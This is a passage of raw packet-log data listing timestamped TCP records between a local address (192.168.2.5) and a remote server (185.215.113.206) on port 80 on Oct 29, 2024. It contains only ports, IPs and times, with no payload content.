Oct 29, 2024 06:59:37.259118080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259123087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259151936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259157896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259185076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259218931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259227037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259248018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259280920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259284973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259337902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259342909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259382010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259428978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259439945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259476900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259510994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259521008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259543896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259583950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259594917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259629011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259644985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259696007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259728909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259738922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259764910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259798050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259808064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259831905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259835958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259865046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259898901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259907961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259954929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260003090 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260005951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260039091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260044098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260071993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260085106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260106087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260121107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260138988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260147095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260171890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260179996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260206938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260209084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260241032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260251045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260274887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260308027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260320902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260344028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260348082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260377884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260380983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260411978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260447025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260458946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260481119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260488987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260515928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260530949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260550976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260556936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260585070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260591984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260617018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260649920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260659933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260683060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260685921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260715008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260725021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260749102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260757923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260782957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260786057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260814905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260823965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260848045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260859013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260883093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260889053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260915995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260922909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260947943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.260955095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.260999918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261034966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261043072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261069059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261106014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261111975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261138916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261147022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261173964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261205912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261214972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261240959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261274099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261288881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261307001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261341095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261354923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261374950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261385918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261408091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261408091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261441946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261452913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261476040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261508942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261527061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261542082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261550903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261575937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261610031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261619091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261642933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261677980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261696100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261720896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261754990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261764050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261786938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261789083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261821032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261833906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261854887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261863947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261892080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.261902094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.261939049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.293343067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.293447971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.294437885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.294491053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.304817915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.304857969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.304874897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.304899931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373255014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373296976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373317003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373320103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373336077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373368979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373397112 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373397112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373406887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373430014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373430014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373455048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373466015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373476028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373490095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373508930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373524904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373531103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373548985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373559952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373563051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373584032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373603106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373605967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373620033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373635054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373651981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373656034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373676062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373681068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373692036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373707056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373712063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373725891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373755932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373764992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373775959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373807907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373817921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373826981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373842001 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373847961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373866081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373871088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373878956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373891115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373912096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.373913050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.373950005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374078035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374109030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374110937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374119997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374133110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374147892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374154091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374191999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374202967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374219894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374242067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374260902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374284983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374317884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374337912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374358892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374361038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374373913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374391079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374397039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374423027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374433041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374444962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374468088 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374475956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374480963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374505997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374527931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374548912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374551058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374571085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374574900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374592066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374597073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374613047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374615908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374636889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374644041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374660969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374677896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374679089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374697924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374731064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374736071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374752045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374778032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374798059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374799013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374815941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374831915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374839067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374851942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374872923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374877930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374890089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374895096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374910116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374926090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374931097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374944925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374964952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.374967098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374985933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.374991894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375005007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375010014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375025034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375036001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375037909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375067949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375072956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375099897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375109911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375122070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375140905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375164032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375169039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375185013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375185966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375216007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375217915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375228882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375248909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375253916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375269890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375288963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375293970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375309944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375327110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375338078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375358105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375390053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375401974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375408888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375423908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375438929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375447035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375459909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375480890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375480890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375499010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375511885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375521898 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375533104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375551939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375555038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375575066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375576973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375597000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375600100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375613928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375617027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375638008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375641108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375654936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375669956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375672102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375690937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375711918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375729084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375730991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375756025 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375763893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375777006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375782967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375792980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375803947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375821114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375839949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375852108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375861883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375873089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375893116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375902891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375905991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375922918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375937939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375942945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375957012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375976086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.375979900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.375998020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376008987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376019001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376039982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376044989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376061916 CET	80	49888	185.215.113.206	192.168.2.5
